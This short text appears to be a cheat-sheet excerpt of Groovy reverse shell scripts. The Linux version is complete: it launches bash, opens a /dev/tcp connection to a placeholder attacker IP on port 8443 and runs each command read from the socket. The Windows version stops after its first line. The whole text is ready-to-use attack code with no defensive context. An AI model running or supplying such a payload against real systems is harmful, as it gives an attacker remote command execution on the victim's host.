Groovy script for reverse shell (Linux):
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/your_attacker_ip/8443;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
Groovy script for reverse shell (Windows):
String host="your_attacker_ip";